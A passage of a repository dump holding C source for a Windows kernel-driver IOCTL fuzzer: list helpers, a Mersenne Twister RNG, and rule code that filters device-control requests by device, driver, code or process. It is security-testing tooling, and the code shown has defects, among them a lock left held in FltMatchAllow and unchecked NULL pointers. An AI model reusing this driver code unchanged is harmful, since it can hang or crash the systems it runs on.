DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n }\n\n return NULL;\n}\n//--------------------------------------------------------------------------------------\nvoid LstFree(PCOMMON_LST list)\n{\n // flust list and free list descriptor\n LstFlush(list);\n M_FREE(list);\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.h", "content": "/*\n Common linked lists structures\n*/\n\ntypedef struct _COMMON_LST_ENTRY\n{\n UNICODE_STRING ObjectName; \n ULONG ObjectType;\n\n PVOID Data;\n ULONG DataSize;\n\n struct _COMMON_LST_ENTRY *next, *prev;\n\n} COMMON_LST_ENTRY,\n*PCOMMON_LST_ENTRY;\n\ntypedef struct _COMMON_LST\n{\n KSPIN_LOCK ListLock;\n PCOMMON_LST_ENTRY list_head, list_end;\n\n} COMMON_LST,\n*PCOMMON_LST;\n\n/*\n Common linked lists routines\n*/\n\nPCOMMON_LST_ENTRY LstFindEntry(\n PCOMMON_LST list, \n PUNICODE_STRING ObjectName\n);\n\nPCOMMON_LST_ENTRY LstAddEntry(\n PCOMMON_LST list, \n PUNICODE_STRING ObjectName,\n PVOID Data,\n ULONG DataSize\n);\n\nvoid LstFlush(PCOMMON_LST list);\nvoid LstDelEntry(PCOMMON_LST list, PCOMMON_LST_ENTRY e);\nPCOMMON_LST LstInit(void);\nvoid LstFree(PCOMMON_LST list);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/options.h", "content": "\n/**\n * Program information, copyright, etc.\n */\n#define PROGRAM_NAME \"IOCTL Fuzzer\"\n#define PROGRAM_AUTHOR \"by Oleksiuk Dmytro (aka Cr4sh) :: dmitry@esagelab.com\"\n#define PROGRAM_COPYRIGHT \"(c) 2011 Esage Lab :: http://www.esagelab.com/\"\n\n/**\n * Log file name to store all IOCTLs requests information.\n */\n#define IOCTLS_LOG_NAME L\"ioctls.log\"\n\n/**\n * Main application log file name.\n */\n#define IOCTLFUZZER_LOG_FILE \"ioctlfuzzer.log\"\n\n/**\n * File and service name for the kernel driver.\n */\n#define DRIVER_SERVICE_NAME \"IOCTL_fuzzer\"\n#define DRIVER_FILE_NAME \"IOCTL_fuzzer.sys\"\n\n/**\n * Directory name to store downloaded debug symbols.\n */\n#define SYMBOLS_DIR_NAME \"Symbols\"\n\n/**\n * Default value for fuzzing type option.\n */\n#define DEFAULT_FUZZING_TYPE FuzzingType_Random\n\n/**\n * IOCTL buffer length limit for dumping into the\n * application log or debugger output.\n */\n#define MAX_IOCTL_BUFFER_LEGTH 0x1000\n\n/**\n * Maximum number of lines in console window.\n */\n#define CONSOLE_BUFFER_HEIGHT 0x1000\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.c", "content": "/* \n A C-program for MT19937, with initialization improved 2002/1/26.\n Coded by Takuji Nishimura and Makoto Matsumoto.\n\n Before using, initialize the state by using init_genrand(seed) \n or init_by_array(init_key, key_length).\n\n Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,\n All rights reserved. \n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n\n 1. Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and/or other materials provided with the distribution.\n\n 3. The names of its contributors may not be used to endorse or promote \n products derived from this software without specific prior written \n permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\n Any feedback is very welcome.\n http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html\n email: m-mat @ math.sci.hiroshima-u.ac.jp (remove space)\n*/\n\n#include \n\n/* Period parameters */ \n#define N 624\n#define M 397\n#define MATRIX_A 0x9908b0dfUL /* constant vector a */\n#define UPPER_MASK 0x80000000UL /* most significant w-r bits */\n#define LOWER_MASK 0x7fffffffUL /* least significant r bits */\n\nstatic unsigned long mt[N]; /* the array for the state vector */\nstatic int mti=N+1; /* mti==N+1 means mt[N] is not initialized */\n\n/* initializes mt[N] with a seed */\nvoid init_genrand(unsigned long s)\n{\n mt[0]= s & 0xffffffffUL;\n for (mti=1; mti> 30)) + mti); \n /* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */\n /* In the previous versions, MSBs of the seed affect */\n /* only MSBs of the array mt[]. */\n /* 2002/01/09 modified by Makoto Matsumoto */\n mt[mti] &= 0xffffffffUL;\n /* for >32 bit machines */\n }\n}\n\n/* initialize by an array with array-length */\n/* init_key is the array for initializing keys */\n/* key_length is its length */\n/* slight change for C++, 2004/2/26 */\nvoid init_by_array(unsigned long init_key[], int key_length)\n{\n int i, j, k;\n init_genrand(19650218UL);\n i=1; j=0;\n k = (N>key_length ? N : key_length);\n for (; k; k--) {\n mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1664525UL))\n + init_key[j] + j; /* non linear */\n mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */\n i++; j++;\n if (i>=N) { mt[0] = mt[N-1]; i=1; }\n if (j>=key_length) j=0;\n }\n for (k=N-1; k; k--) {\n mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1566083941UL))\n - i; /* non linear */\n mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */\n i++;\n if (i>=N) { mt[0] = mt[N-1]; i=1; }\n }\n\n mt[0] = 0x80000000UL; /* MSB is 1; assuring non-zero initial array */ \n}\n\n/* generates a random number on [0,0xffffffff]-interval */\nunsigned long genrand_int32(void)\n{\n unsigned long y;\n static unsigned long mag01[2]={0x0UL, MATRIX_A};\n /* mag01[x] = x * MATRIX_A for x=0,1 */\n\n if (mti >= N) { /* generate N words at one time */\n int kk;\n\n if (mti == N+1) /* if init_genrand() has not been called, */\n init_genrand(5489UL); /* a default initial seed is used */\n\n for (kk=0;kk> 1) ^ mag01[y & 0x1UL];\n }\n for (;kk> 1) ^ mag01[y & 0x1UL];\n }\n y = (mt[N-1]&UPPER_MASK)|(mt[0]&LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >> 1) ^ mag01[y & 0x1UL];\n\n mti = 0;\n }\n \n y = mt[mti++];\n\n /* Tempering */\n y ^= (y >> 11);\n y ^= (y << 7) & 0x9d2c5680UL;\n y ^= (y << 15) & 0xefc60000UL;\n y ^= (y >> 18);\n\n return y;\n}\n\nunsigned long getrand(unsigned long min, unsigned long max)\n{\n\treturn (genrand_int32() % (max - min + 1)) + min;\n}\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rng.h", "content": "void init_genrand(unsigned long s);\nvoid init_by_array(unsigned long init_key[], int key_length);\nunsigned long genrand_int32(void);\nunsigned long getrand(unsigned long min, unsigned long max);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.c", "content": "#include \"stdafx.h\"\n\n// defined in driver.cpp\nextern UNICODE_STRING m_RegistryPath;\nextern KMUTEX m_CommonMutex;\n\nBOOLEAN g_RuleInited = FALSE;\nERESOURCE g_RuleResource;\nLIST_ENTRY g_DenyRuleList;\nLIST_ENTRY g_AllowRuleList;\nLIST_ENTRY g_DbgcbRuleList;\n\nFORCEINLINE\nVOID\nRuleLock(\n __in BOOLEAN Exclusive\n )\n{\n KeEnterCriticalRegion();\n if (Exclusive)\n ExAcquireResourceExclusiveLite(&g_RuleResource, TRUE);\n else\n ExAcquireResourceSharedLite(&g_RuleResource, TRUE);\n}\n\nFORCEINLINE\nVOID\nRuleUnlock()\n{\n ExReleaseResourceLite(&g_RuleResource);\n KeLeaveCriticalRegion();\n}\n\nNTSTATUS FltInitRuleList()\n{\n NTSTATUS Status = 0;\n\n InitializeListHead( &g_DenyRuleList );\n InitializeListHead( &g_AllowRuleList );\n InitializeListHead( &g_DbgcbRuleList );\n\n Status = ExInitializeResourceLite( &g_RuleResource );\n if(!NT_SUCCESS(Status))\n return Status;\n\n g_RuleInited = TRUE;\n\n return STATUS_SUCCESS;\n}\n\nVOID FltUnInitRuleList()\n{\n if(!g_RuleInited)\n return;\n\n FltFlushAllList();\n\n g_RuleInited = FALSE;\n\n ExDeleteResourceLite(&g_RuleResource); \n}\n//--------------------------------------------------------------------------------------\nwchar_t xchrlower_w(wchar_t chr)\n{\n if ((chr >= 'A') && (chr <= 'Z')) \n {\n return chr + ('a'-'A');\n }\n\n return chr;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN EqualUnicodeString_r(PUNICODE_STRING Str1, PUNICODE_STRING Str2, BOOLEAN CaseInSensitive)\n{\n USHORT CmpLen = min(Str1->Length, Str2->Length) / sizeof(WCHAR);\n USHORT i = 0;\n for ( i = 1; i < CmpLen; i++)\n {\n WCHAR Chr1 = Str1->Buffer[Str1->Length / sizeof(WCHAR) - i], \n Chr2 = Str2->Buffer[Str2->Length / sizeof(WCHAR) - i];\n\n if (CaseInSensitive)\n {\n Chr1 = xchrlower_w(Chr1);\n Chr2 = xchrlower_w(Chr2);\n }\n\n if (Chr1 != Chr2)\n {\n return FALSE;\n }\n }\n\n return TRUE;\n}\n\nPIOCTL_FILTER FltAdd(PIOCTL_FILTER f, PLIST_ENTRY ListEntry, ULONG KdCommandLength)\n{\n ULONG Length = 0;\n PIOCTL_FILTER f_entry = NULL;\n\n if(!g_RuleInited || !ListEntry || !f)\n return NULL;\n\n Length = KdCommandLength + sizeof(IOCTL_FILTER);\n f_entry = (PIOCTL_FILTER)ExAllocatePool(NonPagedPool, Length);\n if (f_entry)\n {\n RtlZeroMemory(f_entry, Length);\n RtlCopyMemory(f_entry, f, sizeof(IOCTL_FILTER));\n\n InsertHeadList(ListEntry, &f_entry->List);\n\n return f_entry; \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() fails\\n\");\n }\n\n return NULL;\n}\n\nVOID DeferenceRuleCount(PIOCTL_FILTER Item)\n{\n if(!g_RuleInited)\n return;\n\n RuleLock(TRUE);\n Item->ReferenceCount--;\n RuleUnlock();\n}\n\nPIOCTL_FILTER FltAddDenyRule(PIOCTL_FILTER f, ULONG KdCommandLength)\n{\n PIOCTL_FILTER Item = NULL;\n\n if(!g_RuleInited)\n return NULL;\n\n RuleLock(TRUE);\n Item = FltAdd(f, &g_DenyRuleList, KdCommandLength);\n Item->ReferenceCount +=1 ;\n RuleUnlock();\n\n return Item;\n}\n\nPIOCTL_FILTER FltAddAllowRule(PIOCTL_FILTER f, ULONG KdCommandLength)\n{\n PIOCTL_FILTER Item = NULL;\n\n if(!g_RuleInited)\n return NULL;\n\n RuleLock(TRUE);\n Item = FltAdd(f, &g_AllowRuleList, KdCommandLength);\n Item->ReferenceCount +=1 ;\n RuleUnlock();\n\n return Item;\n}\n\nPIOCTL_FILTER FltAddDbgcbRule(PIOCTL_FILTER f, ULONG KdCommandLength)\n{\n PIOCTL_FILTER Item = NULL;\n\n if(!g_RuleInited)\n return NULL;\n\n RuleLock(TRUE);\n Item = FltAdd(f, &g_DbgcbRuleList, KdCommandLength);\n Item->ReferenceCount +=1 ;\n RuleUnlock();\n\n return Item;\n}\n\n//--------------------------------------------------------------------------------------\nvoid FltFlushList(PLIST_ENTRY ListEntryHead)\n{\n PLIST_ENTRY\tListEntry = NULL;\n PLIST_ENTRY ListRemove = NULL;\n PIOCTL_FILTER RuleItem = NULL;\n\n if(!g_RuleInited || !ListEntryHead)\n return;\n\n ListEntry = ListEntryHead->Flink;\n while(ListEntry != ListEntryHead)\n {\n RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List);\n\n if(RuleItem->ReferenceCount != 0)\n {\n ListEntry = ListEntry->Flink;\n continue;\n }\n\n if (RuleItem->Type == FLT_DEVICE_NAME ||\n RuleItem->Type == FLT_DRIVER_NAME ||\n RuleItem->Type == FLT_PROCESS_PATH)\n {\n RtlFreeUnicodeString(&RuleItem->usName);\n }\n\n ListRemove = ListEntry;\n ListEntry = ListEntry->Flink;\n RemoveEntryList(ListRemove);\n\n ExFreePool(RuleItem); \n }\n}\n\nvoid FltFlushAllList()\n{\n if(!g_RuleInited)\n return ;\n\n RuleLock(TRUE);\n FltFlushList(&g_DenyRuleList);\n FltFlushList(&g_AllowRuleList);\n FltFlushList(&g_DbgcbRuleList);\n RuleUnlock();\n}\n//--------------------------------------------------------------------------------------\nPIOCTL_FILTER FltMatch(\n PLIST_ENTRY ListEntryHead,\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName)\n{\n PIOCTL_FILTER ret = NULL;\n PIOCTL_FILTER RuleItem = NULL; \n PLIST_ENTRY\tListEntry = NULL;\n\n if(!ListEntryHead)\n return NULL;\n\n // match parameters by filter list\n ListEntry = ListEntryHead->Flink;\n while (ListEntry != ListEntryHead)\n {\n RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List);\n\n if (RuleItem->bDbgcbAction)\n {\n // skip entries with debugger commands\n goto next;\n }\n\n if (RuleItem->Type == FLT_DEVICE_NAME)\n {\n if (EqualUnicodeString_r(&RuleItem->usName, fDeviceName, TRUE))\n {\n ret = RuleItem;\n break;\n }\n }\n else if (RuleItem->Type == FLT_DRIVER_NAME)\n {\n if (EqualUnicodeString_r(&RuleItem->usName, fDriverName, TRUE))\n {\n ret = RuleItem;\n break;\n }\n }\n else if (RuleItem->Type == FLT_IOCTL_CODE)\n {\n if (RuleItem->IoctlCode == IoControlCode)\n {\n ret = RuleItem;\n break;\n }\n }\n else if (RuleItem->Type == FLT_PROCESS_PATH)\n {\n if (EqualUnicodeString_r(&RuleItem->usName, fProcessName, TRUE))\n {\n ret = RuleItem;\n break;\n }\n }\n\nnext:\n ListEntry = ListEntry->Flink;\n }\n\n return ret;\n}\n\nBOOLEAN FltMatchDeny(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName)\n{\n PIOCTL_FILTER Rule = NULL;\n\n if(!g_RuleInited)\n return FALSE;\n\n RuleLock(FALSE);\n Rule = FltMatch(&g_DenyRuleList, fDeviceName, fDriverName, IoControlCode, fProcessName);\n RuleUnlock();\n\n if(Rule)\n return TRUE;\n else\n return FALSE;\n}\n\nBOOLEAN FltMatchAllow(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName)\n{\n PIOCTL_FILTER Rule = NULL;\n\n if(!g_RuleInited)\n return FALSE;\n\n RuleLock(FALSE);\n\n if(IsListEmpty(&g_AllowRuleList))\n return TRUE;\n\n Rule = FltMatch(&g_AllowRuleList, fDeviceName, fDriverName, IoControlCode, fProcessName);\n RuleUnlock();\n\n if(Rule)\n return TRUE;\n else\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nchar *FltGetKdCommand(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName)\n{\n char *lpszCmd = NULL;\n PLIST_ENTRY ListEntry = NULL;\n PIOCTL_FILTER RuleItem = NULL;\n\n if(!g_RuleInited)\n return NULL;\n\n RuleLock(FALSE);\n // match parameters by filter list\n ListEntry = g_DbgcbRuleList.Flink;\n while (ListEntry != &g_DbgcbRuleList)\n {\n RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List);\n if (!RuleItem->bDbgcbAction)\n {\n // skip entries with debugger commands\n goto next;\n }\n\n if (RuleItem->Type == FLT_DEVICE_NAME)\n {\n if (EqualUnicodeString_r(&RuleItem->usName, fDeviceName, TRUE))\n {\n lpszCmd = RuleItem->szKdCommand;\n break;\n }\n }\n else if (RuleItem->Type == FLT_DRIVER_NAME)\n {\n if (EqualUnicodeString_r(&RuleItem->usName, fDriverName, TRUE))\n {\n lpszCmd = RuleItem->szKdCommand;\n break;\n }\n }\n else if (RuleItem->Type == FLT_IOCTL_CODE)\n {\n if (RuleItem->IoctlCode == IoControlCode)\n {\n lpszCmd = RuleItem->szKdCommand;\n break;\n }\n }\n else if (RuleItem->Type == FLT_PROCESS_PATH)\n {\n if (EqualUnicodeString_r(&RuleItem->usName, fProcessName, TRUE))\n {\n lpszCmd = RuleItem->szKdCommand;\n break;\n }\n }\n\nnext:\n ListEntry = ListEntry->Flink;\n }\n RuleUnlock();\n\n return lpszCmd;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN FltIsMatchedRequest(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName)\n{\n if(!g_RuleInited)\n return FALSE;\n\n // match process by allow/deny list\n if (FltMatchAllow(fDeviceName, fDriverName, IoControlCode, fProcessName) && \n FltMatchDeny(fDeviceName, fDriverName, IoControlCode, fProcessName) == FALSE)\n {\n return TRUE;\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN SaveRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName)\n{\n BOOLEAN bRet = FALSE;\n ULONG BuffSize = 0, RulesToSerialize = 0;\n PLIST_ENTRY ListEntry = NULL;\n PIOCTL_FILTER RuleItem = NULL;\n\n if(!ListEntryHead)\n return FALSE;\n\n // calculate reqired buffer size\n ListEntry = ListEntryHead->Flink;\n while (ListEntry != ListEntryHead)\n {\n RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List);\n if (!RuleItem->bDbgcbAction)\n {\n BuffSize += sizeof(IOCTL_FILTER_SERIALIZED);\n\n if (RuleItem->Type == FLT_DEVICE_NAME ||\n RuleItem->Type == FLT_DRIVER_NAME ||\n RuleItem->Type == FLT_PROCESS_PATH)\n {\n // we an have object name\n BuffSize += RuleItem->usName.Length;\n }\n\n RulesToSerialize++;\n } \n \n ListEntry = ListEntry->Flink;\n }\n\n if (BuffSize > 0)\n {\n // allocate memory for serialized rules\n PUCHAR Buff = (PUCHAR)M_ALLOC(BuffSize);\n if (Buff)\n {\n\t\t\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\t\t\tPIOCTL_FILTER_SERIALIZED f_s = NULL;\n RtlZeroMemory(Buff, BuffSize); \n f_s = (PIOCTL_FILTER_SERIALIZED)Buff;\n\n // serialize available entries\n ListEntry = ListEntryHead->Flink;\n while (ListEntry != ListEntryHead)\n {\n RuleItem = CONTAINING_RECORD(ListEntry, IOCTL_FILTER, List);\n if (!RuleItem->bDbgcbAction)\n {\n ULONG NextEntryOffset = sizeof(IOCTL_FILTER_SERIALIZED);\n\n f_s->Type = RuleItem->Type;\n f_s->IoctlCode = RuleItem->IoctlCode;\n\n if (RuleItem->Type == FLT_DEVICE_NAME ||\n RuleItem->Type == FLT_DRIVER_NAME ||\n RuleItem->Type == FLT_PROCESS_PATH)\n {\n // we have an object name\n f_s->NameLen = RuleItem->usName.Length;\n NextEntryOffset += f_s->NameLen;\n memcpy(&f_s->Name, RuleItem->usName.Buffer, f_s->NameLen);\n }\n\n // go to the next serialized entry\n f_s = (PIOCTL_FILTER_SERIALIZED)((PUCHAR)f_s + NextEntryOffset);\n }\n\n ListEntry = ListEntry->Flink; \n }\n \n ns = ZwSetValueKey(hKey, usValueName, 0, REG_BINARY, Buff, BuffSize);\n if (NT_SUCCESS(ns))\n {\n bRet = TRUE;\n\n DbgMsg(\n __FILE__, __LINE__, \n __FUNCTION__\"(): %d rules (%d bytes) saved in '%wZ'\\n\", \n RulesToSerialize, BuffSize, usValueName\n );\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwSetValueKey() fails; status: 0x%.8x\\n\", ns);\n } \n \n M_FREE(Buff);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n }\n } \n\n return bRet;\n}\n\nBOOLEAN SaveDenyRules(HANDLE hKey, PUNICODE_STRING usValueName)\n{\n BOOLEAN bRet = FALSE;\n\n if(!g_RuleInited)\n return FALSE;\n\n RuleLock(FALSE);\n bRet = SaveRules(&g_DenyRuleList, hKey, usValueName);\n RuleUnlock();\n\n return bRet;\n}\n\nBOOLEAN SaveAllowRules(HANDLE hKey, PUNICODE_STRING usValueName)\n{\n BOOLEAN bRet = FALSE;\n\n if(!g_RuleInited)\n return FALSE;\n\n RuleLock(FALSE);\n bRet = SaveRules(&g_AllowRuleList, hKey, usValueName);\n RuleUnlock();\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN LoadRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName)\n{\n BOOLEAN bRet = FALSE; \n PKEY_VALUE_FULL_INFORMATION KeyInfo = NULL;\n ULONG Length = 0, RulesLoaded = 0; \n NTSTATUS ns = 0;\n\n if(!ListEntryHead)\n return FALSE;\n\n // query buffer size\n ns = ZwQueryValueKey(\n hKey, \n usValueName, \n KeyValueFullInformation, \n KeyInfo, \n 0, \n &Length\n );\n if (ns == STATUS_BUFFER_OVERFLOW || \n ns == STATUS_BUFFER_TOO_SMALL)\n { \n // allocate buffer\n PKEY_VALUE_FULL_INFORMATION KeyInfo = (PKEY_VALUE_FULL_INFORMATION)M_ALLOC(Length);\n if (KeyInfo)\n {\n // query value\n ns = ZwQueryValueKey(\n hKey, \n usValueName, \n KeyValueFullInformation, \n KeyInfo, \n Length, \n &Length\n );\n if (NT_SUCCESS(ns))\n {\n if (KeyInfo->DataLength > 0)\n {\n // deserialize rules\n PUCHAR Buff = (PUCHAR)KeyInfo + KeyInfo->DataOffset;\n PIOCTL_FILTER_SERIALIZED f_s = (PIOCTL_FILTER_SERIALIZED)Buff;\n\n while ((ULONG)((PUCHAR)f_s - Buff) < KeyInfo->DataLength)\n {\n // add rule into list\n IOCTL_FILTER Flt;\n RtlZeroMemory(&Flt, sizeof(Flt));\n\n Flt.Type = f_s->Type;\n Flt.IoctlCode = f_s->IoctlCode;\n\n if ((f_s->Type == FLT_DEVICE_NAME ||\n f_s->Type == FLT_DRIVER_NAME ||\n f_s->Type == FLT_PROCESS_PATH) &&\n f_s->NameLen > 0)\n {\n // we have an object name\n if (AllocUnicodeString(&Flt.usName, (USHORT)f_s->NameLen))\n {\n Flt.usName.Length = (USHORT)f_s->NameLen;\n memcpy(Flt.usName.Buffer, &f_s->Name, f_s->NameLen);\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): '%wZ'\\n\", &Flt.usName);\n }\n else\n {\n goto err;\n }\n }\n\n if (!FltAdd(&Flt, ListEntryHead, 0))\n {\n if (Flt.usName.Buffer)\n {\n RtlFreeUnicodeString(&Flt.usName);\n } \n }\n else\n {\n RulesLoaded++;\n }\nerr:\n // go to the next serialized entry\n f_s = (PIOCTL_FILTER_SERIALIZED)((PUCHAR)f_s + \n sizeof(IOCTL_FILTER_SERIALIZED) + f_s->NameLen);\n } \n }\n\n DbgMsg(\n __FILE__, __LINE__, \n __FUNCTION__\"(): %d rules loaded from '%wZ'\\n\", \n RulesLoaded, usValueName\n );\n\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwQueryValueKey() fails; status: 0x%.8x\\n\", ns);\n }\n\n M_FREE(KeyInfo);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() WARNING: '%wZ' value is not set\\n\", usValueName);\n } \n\n return bRet;\n}\n\nBOOLEAN LoadDenyRules(HANDLE hKey, PUNICODE_STRING usValueName)\n{\n BOOLEAN bRet = FALSE;\n\n if(!g_RuleInited)\n return FALSE;\n\n RuleLock(TRUE);\n bRet = LoadRules(&g_DenyRuleList, hKey, usValueName);\n RuleUnlock();\n\n return bRet;\n}\n\nBOOLEAN LoadAllowRules(HANDLE hKey, PUNICODE_STRING usValueName)\n{\n BOOLEAN bRet = FALSE;\n\n if(!g_RuleInited)\n return FALSE;\n\n RuleLock(TRUE);\n bRet = LoadRules(&g_AllowRuleList, hKey, usValueName);\n RuleUnlock();\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/rules.h", "content": "\n/**\n* Structures and defines for IOCTL filtering\n*/\n#define FLT_DEVICE_NAME 1\n#define FLT_DRIVER_NAME 2\n#define FLT_IOCTL_CODE 3\n#define FLT_PROCESS_PATH 4\n\ntypedef struct _IOCTL_FILTER\n{\n LIST_ENTRY List;\n ULONG ReferenceCount;\n ULONG Type;\n\n UNICODE_STRING usName;\n ULONG IoctlCode;\n\n BOOLEAN bDbgcbAction;\n char szKdCommand[1];\n\n} IOCTL_FILTER, *PIOCTL_FILTER;\n\ntypedef struct _IOCTL_FILTER_SERIALIZED\n{\n ULONG Type;\n ULONG IoctlCode;\n ULONG NameLen;\n WCHAR Name[];\n\n} IOCTL_FILTER_SERIALIZED,\n*PIOCTL_FILTER_SERIALIZED;\n\nPIOCTL_FILTER FltAdd(PIOCTL_FILTER f, PLIST_ENTRY ListEntry, ULONG KdCommandLength);\n\nBOOLEAN FltIsMatchedRequest(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName\n);\n\nchar *FltGetKdCommand(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName\n);\n\nBOOLEAN SaveRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName);\nBOOLEAN LoadRules(PLIST_ENTRY ListEntryHead, HANDLE hKey, PUNICODE_STRING usValueName);\n\n/**\n* Macro defines for allow/deny lists of IOCTL filtering\n*/\n\n// #define FltAllowMatch(_drv_, _dev_, _c_, _p_) FltMatch(&f_allow_head, (_drv_), (_dev_), (_c_), (_p_))\n// \n\n// #define FltDenyMatch(_drv_, _dev_, _c_, _p_) FltMatch(&f_deny_head, (_drv_), (_dev_), (_c_), (_p_))\n// \n\n\nNTSTATUS FltInitRuleList();\nVOID FltUnInitRuleList();\nPIOCTL_FILTER FltAddDbgcbRule(PIOCTL_FILTER f, ULONG KdCommandLength);\nPIOCTL_FILTER FltAddDenyRule(PIOCTL_FILTER f, ULONG KdCommandLength);\nPIOCTL_FILTER FltAddAllowRule(PIOCTL_FILTER f, ULONG KdCommandLength);\n\nvoid FltFlushAllList();\n\nBOOLEAN FltMatchAllow(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName);\nBOOLEAN FltMatchDeny(\n PUNICODE_STRING fDeviceName, \n PUNICODE_STRING fDriverName,\n ULONG IoControlCode,\n PUNICODE_STRING fProcessName);\n\nBOOLEAN SaveDenyRules(HANDLE hKey, PUNICODE_STRING usValueName);\nBOOLEAN SaveAllowRules(HANDLE hKey, PUNICODE_STRING usValueName);\nBOOLEAN LoadDenyRules(HANDLE hKey, PUNICODE_STRING usValueName);\nBOOLEAN LoadAllowRules(HANDLE hKey, PUNICODE_STRING usValueName);\n\nVOID DeferenceRuleCount(PIOCTL_FILTER Item);" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/sources", "content": "TARGETNAME=IOCTL_fuzzer\nTARGETTYPE=DRIVER\nDRIVERTYPE=FS\n\n\nTARGETLIBS=$(TARGETLIBS) \\\n .\\udis86\\udis86_i386.lib \\\n\t\t .\\udis86\\udis86_amd64.lib\n\n\n\nSOURCES=driver.c \\\n\tcommon.c \\\n\tdebug.c \\\n\thandlers.c \\\n\thook.c \\\n\tlog.c \\\n\tlst.c \\\n\trng.c \\\n\trules.c \\\n\tversion.rc\n\t\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/stdafx.h", "content": "\n\n//extern \"C\"\n//{\n#include \n#include \n#include \n#include \n#include \"undocnt.h\"\n//}\n\n#define WP_STUFF\n\n#include \"debug.h\"\n#include \"common.h\"\n#include \"lst.h\"\n\n#include \"options.h\"\n\n#include \"common_asm.h\"\n#include \"drvcomm.h\"\n#include \"rng.h\"\n#include \"driver.h\"\n#include \"handlers.h\"\n#include \"hook.h\"\n#include \"log.h\"\n#include \"rules.h\"\n\n// udis86 disasm engine\n#include \"udis86/extern.h\"\n\n// kernel debugger communication engine (dbgcb) client\n//#include \"../../dbgcb/common/dbgcb_api.h\"\n\n#ifdef _X86_\n#pragma 